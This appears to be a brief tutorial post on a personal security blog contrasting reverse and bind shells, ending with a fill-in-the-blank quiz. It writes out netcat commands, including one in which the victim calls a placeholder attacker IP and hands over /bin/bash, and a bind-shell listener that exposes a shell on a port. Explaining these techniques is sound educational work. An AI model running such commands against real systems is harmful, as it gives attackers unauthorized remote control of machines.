SCHIZOSCHIZOSCHIZO
  • WORK
  • ABOUT
  • BRAIN DUMP
  • TOOLS
  • CONTACT
2026-06-10

Reverse Shell vs Bind Shell

SecurityPenetration Testingnetcatshells

A reverse shell is simply the victim connecting to the attacker's machine. The attacker listens on a certain port, and the victim connects to it.

Example:

code
# Attacker
nc -lvnp 4444

# Victim
nc <attacker_ip> 4444 -e /bin/bash

Bind shell

Just like when we connect to a server, a bind shell is when the attacker somehow opens up a port on the victim machine and then gains access to their machine.

Example:

code
# Victim
nc -lvnp 4444 -e /bin/bash

# Attacker
nc <victim_ip> 4444
Which shell3 blanks

In a shell the victim connects out and the attacker listens: nc 4444. In a shell the attacker connects in to a port opened on the victim.

try it before revealing

Read next

  • 2026-02-10 · Deep DivesBypassing F5 Bot Defense (Shape Security)
  • 2026-06-28 · CheatsheetsWireshark Basics
  • 2026-06-22 · Byte-SizedAWS IAM
  • 2026-06-17 · ChecklistsConfiguring DNSSEC on F5 BIG-IP DNS

← All PostsSCHIZO Brain Dump
SCHIZO

Suhesh Kasti — AppSec & Offensive Security

Navigate

  • ▸ Projects
  • ▸ Brain Dump
  • ▸ Cyber Tools
  • ▸ About
  • ▸ Contact
  • Download CV

Connect

  • ◆ GitHub
  • ◆ LinkedIn
  • ◆ Twitter
  • ◆ YouTube
  • ◆ Telegram
© 2026 SCHIZO

Press / to search